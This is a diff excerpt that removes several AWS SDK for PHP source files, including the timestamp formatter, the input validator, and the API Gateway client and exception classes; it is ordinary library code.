* Represents a timestamp shape.
|
||||
*/
|
||||
class TimestampShape extends Shape
|
||||
{
|
||||
public function __construct(array $definition, ShapeMap $shapeMap)
|
||||
{
|
||||
$definition['type'] = 'timestamp';
|
||||
parent::__construct($definition, $shapeMap);
|
||||
}
|
||||
|
||||
/**
|
||||
* Formats a timestamp value for a service.
|
||||
*
|
||||
* @param mixed $value Value to format
|
||||
* @param string $format Format used to serialize the value
|
||||
*
|
||||
* @return int|string
|
||||
* @throws \UnexpectedValueException if the format is unknown.
|
||||
* @throws \InvalidArgumentException if the value is an unsupported type.
|
||||
*/
|
||||
public static function format($value, $format)
|
||||
{
|
||||
if ($value instanceof \DateTime) {
|
||||
$value = $value->getTimestamp();
|
||||
} elseif (is_string($value)) {
|
||||
$value = strtotime($value);
|
||||
} elseif (!is_int($value)) {
|
||||
throw new \InvalidArgumentException('Unable to handle the provided'
|
||||
. ' timestamp type: ' . gettype($value));
|
||||
}
|
||||
|
||||
switch ($format) {
|
||||
case 'iso8601':
|
||||
return gmdate('Y-m-d\TH:i:s\Z', $value);
|
||||
case 'rfc822':
|
||||
return gmdate('D, d M Y H:i:s \G\M\T', $value);
|
||||
case 'unixTimestamp':
|
||||
return $value;
|
||||
default:
|
||||
throw new \UnexpectedValueException('Unknown timestamp format: '
|
||||
. $format);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,286 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
use Aws;
|
||||
|
||||
/**
|
||||
* Validates a schema against a hash of input.
|
||||
*/
|
||||
class Validator
|
||||
{
|
||||
private $path = [];
|
||||
private $errors = [];
|
||||
private $constraints = [];
|
||||
|
||||
private static $defaultConstraints = [
|
||||
'required' => true,
|
||||
'min' => true,
|
||||
'max' => false,
|
||||
'pattern' => false
|
||||
];
|
||||
|
||||
/**
|
||||
* @param array $constraints Associative array of constraints to enforce.
|
||||
* Accepts the following keys: "required", "min",
|
||||
* "max", and "pattern". If a key is not
|
||||
* provided, the constraint will assume false.
|
||||
*/
|
||||
public function __construct(array $constraints = null)
|
||||
{
|
||||
static $assumedFalseValues = [
|
||||
'required' => false,
|
||||
'min' => false,
|
||||
'max' => false,
|
||||
'pattern' => false
|
||||
];
|
||||
$this->constraints = empty($constraints)
|
||||
? self::$defaultConstraints
|
||||
: $constraints + $assumedFalseValues;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates the given input against the schema.
|
||||
*
|
||||
* @param string $name Operation name
|
||||
* @param Shape $shape Shape to validate
|
||||
* @param array $input Input to validate
|
||||
*
|
||||
* @throws \InvalidArgumentException if the input is invalid.
|
||||
*/
|
||||
public function validate($name, Shape $shape, array $input)
|
||||
{
|
||||
$this->dispatch($shape, $input);
|
||||
|
||||
if ($this->errors) {
|
||||
$message = sprintf(
|
||||
"Found %d error%s while validating the input provided for the "
|
||||
. "%s operation:\n%s",
|
||||
count($this->errors),
|
||||
count($this->errors) > 1 ? 's' : '',
|
||||
$name,
|
||||
implode("\n", $this->errors)
|
||||
);
|
||||
$this->errors = [];
|
||||
|
||||
throw new \InvalidArgumentException($message);
|
||||
}
|
||||
}
|
||||
|
||||
private function dispatch(Shape $shape, $value)
|
||||
{
|
||||
static $methods = [
|
||||
'structure' => 'check_structure',
|
||||
'list' => 'check_list',
|
||||
'map' => 'check_map',
|
||||
'blob' => 'check_blob',
|
||||
'boolean' => 'check_boolean',
|
||||
'integer' => 'check_numeric',
|
||||
'float' => 'check_numeric',
|
||||
'long' => 'check_numeric',
|
||||
'string' => 'check_string',
|
||||
'byte' => 'check_string',
|
||||
'char' => 'check_string'
|
||||
];
|
||||
|
||||
$type = $shape->getType();
|
||||
if (isset($methods[$type])) {
|
||||
$this->{$methods[$type]}($shape, $value);
|
||||
}
|
||||
}
|
||||
|
||||
private function check_structure(StructureShape $shape, $value)
|
||||
{
|
||||
if (!$this->checkAssociativeArray($value)) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ($this->constraints['required'] && $shape['required']) {
|
||||
foreach ($shape['required'] as $req) {
|
||||
if (!isset($value[$req])) {
|
||||
$this->path[] = $req;
|
||||
$this->addError('is missing and is a required parameter');
|
||||
array_pop($this->path);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($value as $name => $v) {
|
||||
if ($shape->hasMember($name)) {
|
||||
$this->path[] = $name;
|
||||
$this->dispatch(
|
||||
$shape->getMember($name),
|
||||
isset($value[$name]) ? $value[$name] : null
|
||||
);
|
||||
array_pop($this->path);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function check_list(ListShape $shape, $value)
|
||||
{
|
||||
if (!is_array($value)) {
|
||||
$this->addError('must be an array. Found '
|
||||
. Aws\describe_type($value));
|
||||
return;
|
||||
}
|
||||
|
||||
$this->validateRange($shape, count($value), "list element count");
|
||||
|
||||
$items = $shape->getMember();
|
||||
foreach ($value as $index => $v) {
|
||||
$this->path[] = $index;
|
||||
$this->dispatch($items, $v);
|
||||
array_pop($this->path);
|
||||
}
|
||||
}
|
||||
|
||||
private function check_map(MapShape $shape, $value)
|
||||
{
|
||||
if (!$this->checkAssociativeArray($value)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$values = $shape->getValue();
|
||||
foreach ($value as $key => $v) {
|
||||
$this->path[] = $key;
|
||||
$this->dispatch($values, $v);
|
||||
array_pop($this->path);
|
||||
}
|
||||
}
|
||||
|
||||
private function check_blob(Shape $shape, $value)
|
||||
{
|
||||
static $valid = [
|
||||
'string' => true,
|
||||
'integer' => true,
|
||||
'double' => true,
|
||||
'resource' => true
|
||||
];
|
||||
|
||||
$type = gettype($value);
|
||||
if (!isset($valid[$type])) {
|
||||
if ($type != 'object' || !method_exists($value, '__toString')) {
|
||||
$this->addError('must be an fopen resource, a '
|
||||
. 'GuzzleHttp\Stream\StreamInterface object, or something '
|
||||
. 'that can be cast to a string. Found '
|
||||
. Aws\describe_type($value));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function check_numeric(Shape $shape, $value)
|
||||
{
|
||||
if (!is_numeric($value)) {
|
||||
$this->addError('must be numeric. Found '
|
||||
. Aws\describe_type($value));
|
||||
return;
|
||||
}
|
||||
|
||||
$this->validateRange($shape, $value, "numeric value");
|
||||
}
|
||||
|
||||
private function check_boolean(Shape $shape, $value)
|
||||
{
|
||||
if (!is_bool($value)) {
|
||||
$this->addError('must be a boolean. Found '
|
||||
. Aws\describe_type($value));
|
||||
}
|
||||
}
|
||||
|
||||
private function check_string(Shape $shape, $value)
|
||||
{
|
||||
if ($shape['jsonvalue']) {
|
||||
if (!self::canJsonEncode($value)) {
|
||||
$this->addError('must be a value encodable with \'json_encode\'.'
|
||||
. ' Found ' . Aws\describe_type($value));
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->checkCanString($value)) {
|
||||
$this->addError('must be a string or an object that implements '
|
||||
. '__toString(). Found ' . Aws\describe_type($value));
|
||||
return;
|
||||
}
|
||||
|
||||
$this->validateRange($shape, strlen($value), "string length");
|
||||
|
||||
if ($this->constraints['pattern']) {
|
||||
$pattern = $shape['pattern'];
|
||||
if ($pattern && !preg_match("/$pattern/", $value)) {
|
||||
$this->addError("Pattern /$pattern/ failed to match '$value'");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function validateRange(Shape $shape, $length, $descriptor)
|
||||
{
|
||||
if ($this->constraints['min']) {
|
||||
$min = $shape['min'];
|
||||
if ($min && $length < $min) {
|
||||
$this->addError("expected $descriptor to be >= $min, but "
|
||||
. "found $descriptor of $length");
|
||||
}
|
||||
}
|
||||
|
||||
if ($this->constraints['max']) {
|
||||
$max = $shape['max'];
|
||||
if ($max && $length > $max) {
|
||||
$this->addError("expected $descriptor to be <= $max, but "
|
||||
. "found $descriptor of $length");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function checkCanString($value)
|
||||
{
|
||||
static $valid = [
|
||||
'string' => true,
|
||||
'integer' => true,
|
||||
'double' => true,
|
||||
'NULL' => true,
|
||||
];
|
||||
|
||||
$type = gettype($value);
|
||||
|
||||
return isset($valid[$type]) ||
|
||||
($type == 'object' && method_exists($value, '__toString'));
|
||||
}
|
||||
|
||||
private function checkAssociativeArray($value)
|
||||
{
|
||||
$isAssociative = false;
|
||||
|
||||
if (is_array($value)) {
|
||||
$expectedIndex = 0;
|
||||
$key = key($value);
|
||||
|
||||
do {
|
||||
$isAssociative = $key !== $expectedIndex++;
|
||||
next($value);
|
||||
$key = key($value);
|
||||
} while (!$isAssociative && null !== $key);
|
||||
}
|
||||
|
||||
if (!$isAssociative) {
|
||||
$this->addError('must be an associative array. Found '
|
||||
. Aws\describe_type($value));
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private function addError($message)
|
||||
{
|
||||
$this->errors[] =
|
||||
implode('', array_map(function ($s) { return "[{$s}]"; }, $this->path))
|
||||
. ' '
|
||||
. $message;
|
||||
}
|
||||
|
||||
private function canJsonEncode($data)
|
||||
{
|
||||
return !is_resource($data);
|
||||
}
|
||||
}
|
||||
@@ -1,272 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\ApiGateway;
|
||||
|
||||
use Aws\AwsClient;
|
||||
use Aws\CommandInterface;
|
||||
use Psr\Http\Message\RequestInterface;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **AWS API Gateway** service.
|
||||
*
|
||||
* @method \Aws\Result createApiKey(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createApiKeyAsync(array $args = [])
|
||||
* @method \Aws\Result createAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result createBasePathMapping(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createBasePathMappingAsync(array $args = [])
|
||||
* @method \Aws\Result createDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result createDocumentationPart(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createDocumentationPartAsync(array $args = [])
|
||||
* @method \Aws\Result createDocumentationVersion(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createDocumentationVersionAsync(array $args = [])
|
||||
* @method \Aws\Result createDomainName(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createDomainNameAsync(array $args = [])
|
||||
* @method \Aws\Result createModel(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createModelAsync(array $args = [])
|
||||
* @method \Aws\Result createRequestValidator(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createRequestValidatorAsync(array $args = [])
|
||||
* @method \Aws\Result createResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createResourceAsync(array $args = [])
|
||||
* @method \Aws\Result createRestApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createRestApiAsync(array $args = [])
|
||||
* @method \Aws\Result createStage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createStageAsync(array $args = [])
|
||||
* @method \Aws\Result createUsagePlan(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createUsagePlanAsync(array $args = [])
|
||||
* @method \Aws\Result createUsagePlanKey(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createUsagePlanKeyAsync(array $args = [])
|
||||
* @method \Aws\Result createVpcLink(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createVpcLinkAsync(array $args = [])
|
||||
* @method \Aws\Result deleteApiKey(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteApiKeyAsync(array $args = [])
|
||||
* @method \Aws\Result deleteAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result deleteBasePathMapping(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteBasePathMappingAsync(array $args = [])
|
||||
* @method \Aws\Result deleteClientCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteClientCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDocumentationPart(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDocumentationPartAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDocumentationVersion(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDocumentationVersionAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDomainName(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDomainNameAsync(array $args = [])
|
||||
* @method \Aws\Result deleteGatewayResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteGatewayResponseAsync(array $args = [])
|
||||
* @method \Aws\Result deleteIntegration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteIntegrationAsync(array $args = [])
|
||||
* @method \Aws\Result deleteIntegrationResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteIntegrationResponseAsync(array $args = [])
|
||||
* @method \Aws\Result deleteMethod(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteMethodAsync(array $args = [])
|
||||
* @method \Aws\Result deleteMethodResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteMethodResponseAsync(array $args = [])
|
||||
* @method \Aws\Result deleteModel(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteModelAsync(array $args = [])
|
||||
* @method \Aws\Result deleteRequestValidator(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteRequestValidatorAsync(array $args = [])
|
||||
* @method \Aws\Result deleteResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteResourceAsync(array $args = [])
|
||||
* @method \Aws\Result deleteRestApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteRestApiAsync(array $args = [])
|
||||
* @method \Aws\Result deleteStage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteStageAsync(array $args = [])
|
||||
* @method \Aws\Result deleteUsagePlan(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteUsagePlanAsync(array $args = [])
|
||||
* @method \Aws\Result deleteUsagePlanKey(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteUsagePlanKeyAsync(array $args = [])
|
||||
* @method \Aws\Result deleteVpcLink(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteVpcLinkAsync(array $args = [])
|
||||
* @method \Aws\Result flushStageAuthorizersCache(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise flushStageAuthorizersCacheAsync(array $args = [])
|
||||
* @method \Aws\Result flushStageCache(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise flushStageCacheAsync(array $args = [])
|
||||
* @method \Aws\Result generateClientCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise generateClientCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result getAccount(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAccountAsync(array $args = [])
|
||||
* @method \Aws\Result getApiKey(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getApiKeyAsync(array $args = [])
|
||||
* @method \Aws\Result getApiKeys(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getApiKeysAsync(array $args = [])
|
||||
* @method \Aws\Result getAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result getAuthorizers(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAuthorizersAsync(array $args = [])
|
||||
* @method \Aws\Result getBasePathMapping(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBasePathMappingAsync(array $args = [])
|
||||
* @method \Aws\Result getBasePathMappings(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBasePathMappingsAsync(array $args = [])
|
||||
* @method \Aws\Result getClientCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getClientCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result getClientCertificates(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getClientCertificatesAsync(array $args = [])
|
||||
* @method \Aws\Result getDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result getDeployments(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDeploymentsAsync(array $args = [])
|
||||
* @method \Aws\Result getDocumentationPart(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDocumentationPartAsync(array $args = [])
|
||||
* @method \Aws\Result getDocumentationParts(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDocumentationPartsAsync(array $args = [])
|
||||
* @method \Aws\Result getDocumentationVersion(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDocumentationVersionAsync(array $args = [])
|
||||
* @method \Aws\Result getDocumentationVersions(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDocumentationVersionsAsync(array $args = [])
|
||||
* @method \Aws\Result getDomainName(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDomainNameAsync(array $args = [])
|
||||
* @method \Aws\Result getDomainNames(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDomainNamesAsync(array $args = [])
|
||||
* @method \Aws\Result getExport(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getExportAsync(array $args = [])
|
||||
* @method \Aws\Result getGatewayResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getGatewayResponseAsync(array $args = [])
|
||||
* @method \Aws\Result getGatewayResponses(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getGatewayResponsesAsync(array $args = [])
|
||||
* @method \Aws\Result getIntegration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getIntegrationAsync(array $args = [])
|
||||
* @method \Aws\Result getIntegrationResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getIntegrationResponseAsync(array $args = [])
|
||||
* @method \Aws\Result getMethod(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getMethodAsync(array $args = [])
|
||||
* @method \Aws\Result getMethodResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getMethodResponseAsync(array $args = [])
|
||||
* @method \Aws\Result getModel(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getModelAsync(array $args = [])
|
||||
* @method \Aws\Result getModelTemplate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getModelTemplateAsync(array $args = [])
|
||||
* @method \Aws\Result getModels(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getModelsAsync(array $args = [])
|
||||
* @method \Aws\Result getRequestValidator(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRequestValidatorAsync(array $args = [])
|
||||
* @method \Aws\Result getRequestValidators(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRequestValidatorsAsync(array $args = [])
|
||||
* @method \Aws\Result getResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getResourceAsync(array $args = [])
|
||||
* @method \Aws\Result getResources(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getResourcesAsync(array $args = [])
|
||||
* @method \Aws\Result getRestApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRestApiAsync(array $args = [])
|
||||
* @method \Aws\Result getRestApis(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRestApisAsync(array $args = [])
|
||||
* @method \Aws\Result getSdk(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getSdkAsync(array $args = [])
|
||||
* @method \Aws\Result getSdkType(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getSdkTypeAsync(array $args = [])
|
||||
* @method \Aws\Result getSdkTypes(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getSdkTypesAsync(array $args = [])
|
||||
* @method \Aws\Result getStage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getStageAsync(array $args = [])
|
||||
* @method \Aws\Result getStages(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getStagesAsync(array $args = [])
|
||||
* @method \Aws\Result getTags(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getTagsAsync(array $args = [])
|
||||
* @method \Aws\Result getUsage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getUsageAsync(array $args = [])
|
||||
* @method \Aws\Result getUsagePlan(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getUsagePlanAsync(array $args = [])
|
||||
* @method \Aws\Result getUsagePlanKey(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getUsagePlanKeyAsync(array $args = [])
|
||||
* @method \Aws\Result getUsagePlanKeys(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getUsagePlanKeysAsync(array $args = [])
|
||||
* @method \Aws\Result getUsagePlans(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getUsagePlansAsync(array $args = [])
|
||||
* @method \Aws\Result getVpcLink(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getVpcLinkAsync(array $args = [])
|
||||
* @method \Aws\Result getVpcLinks(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getVpcLinksAsync(array $args = [])
|
||||
* @method \Aws\Result importApiKeys(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise importApiKeysAsync(array $args = [])
|
||||
* @method \Aws\Result importDocumentationParts(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise importDocumentationPartsAsync(array $args = [])
|
||||
* @method \Aws\Result importRestApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise importRestApiAsync(array $args = [])
|
||||
* @method \Aws\Result putGatewayResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putGatewayResponseAsync(array $args = [])
|
||||
* @method \Aws\Result putIntegration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putIntegrationAsync(array $args = [])
|
||||
* @method \Aws\Result putIntegrationResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putIntegrationResponseAsync(array $args = [])
|
||||
* @method \Aws\Result putMethod(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putMethodAsync(array $args = [])
|
||||
* @method \Aws\Result putMethodResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putMethodResponseAsync(array $args = [])
|
||||
* @method \Aws\Result putRestApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putRestApiAsync(array $args = [])
|
||||
* @method \Aws\Result tagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise tagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result testInvokeAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise testInvokeAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result testInvokeMethod(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise testInvokeMethodAsync(array $args = [])
|
||||
* @method \Aws\Result untagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise untagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result updateAccount(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateAccountAsync(array $args = [])
|
||||
* @method \Aws\Result updateApiKey(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateApiKeyAsync(array $args = [])
|
||||
* @method \Aws\Result updateAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result updateBasePathMapping(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateBasePathMappingAsync(array $args = [])
|
||||
* @method \Aws\Result updateClientCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateClientCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result updateDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result updateDocumentationPart(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateDocumentationPartAsync(array $args = [])
|
||||
* @method \Aws\Result updateDocumentationVersion(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateDocumentationVersionAsync(array $args = [])
|
||||
* @method \Aws\Result updateDomainName(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateDomainNameAsync(array $args = [])
|
||||
* @method \Aws\Result updateGatewayResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateGatewayResponseAsync(array $args = [])
|
||||
* @method \Aws\Result updateIntegration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateIntegrationAsync(array $args = [])
|
||||
* @method \Aws\Result updateIntegrationResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateIntegrationResponseAsync(array $args = [])
|
||||
* @method \Aws\Result updateMethod(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateMethodAsync(array $args = [])
|
||||
* @method \Aws\Result updateMethodResponse(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateMethodResponseAsync(array $args = [])
|
||||
* @method \Aws\Result updateModel(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateModelAsync(array $args = [])
|
||||
* @method \Aws\Result updateRequestValidator(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateRequestValidatorAsync(array $args = [])
|
||||
* @method \Aws\Result updateResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateResourceAsync(array $args = [])
|
||||
* @method \Aws\Result updateRestApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateRestApiAsync(array $args = [])
|
||||
* @method \Aws\Result updateStage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateStageAsync(array $args = [])
|
||||
* @method \Aws\Result updateUsage(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateUsageAsync(array $args = [])
|
||||
* @method \Aws\Result updateUsagePlan(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateUsagePlanAsync(array $args = [])
|
||||
* @method \Aws\Result updateVpcLink(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateVpcLinkAsync(array $args = [])
|
||||
*/
|
||||
class ApiGatewayClient extends AwsClient
|
||||
{
|
||||
public function __construct(array $args)
|
||||
{
|
||||
parent::__construct($args);
|
||||
$stack = $this->getHandlerList();
|
||||
$stack->appendBuild([__CLASS__, '_add_accept_header']);
|
||||
}
|
||||
|
||||
public static function _add_accept_header(callable $handler)
|
||||
{
|
||||
return function (
|
||||
CommandInterface $command,
|
||||
RequestInterface $request
|
||||
) use ($handler) {
|
||||
$request = $request->withHeader('Accept', 'application/json');
|
||||
|
||||
return $handler($command, $request);
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\ApiGateway\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **AWS API Gateway** service.
|
||||
*/
|
||||
class ApiGatewayException extends AwsException {}
|
||||
@@ -1,15 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\ApiGatewayManagementApi;
|
||||
|
||||
use Aws\AwsClient;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **AmazonApiGatewayManagementApi** service.
|
||||
* @method \Aws\Result deleteConnection(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteConnectionAsync(array $args = [])
|
||||
* @method \Aws\Result getConnection(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getConnectionAsync(array $args = [])
|
||||
* @method \Aws\Result postToConnection(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise postToConnectionAsync(array $args = [])
|
||||
*/
|
||||
class ApiGatewayManagementApiClient extends AwsClient {}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\ApiGatewayManagementApi\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **AmazonApiGatewayManagementApi** service.
|
||||
*/
|
||||
class ApiGatewayManagementApiException extends AwsException {}
|
||||
@@ -1,153 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\ApiGatewayV2;
|
||||
|
||||
use Aws\AwsClient;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **AmazonApiGatewayV2** service.
|
||||
* @method \Aws\Result createApi(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createApiAsync(array $args = [])
|
||||
* @method \Aws\Result createApiMapping(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createApiMappingAsync(array $args = [])
|
||||
* @method \Aws\Result createAuthorizer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createAuthorizerAsync(array $args = [])
|
||||
* @method \Aws\Result createDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result createDomainName(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createDomainNameAsync(array $args = [])
|
||||
* @method \Aws\Result createIntegration(array $args = [])
|
||||
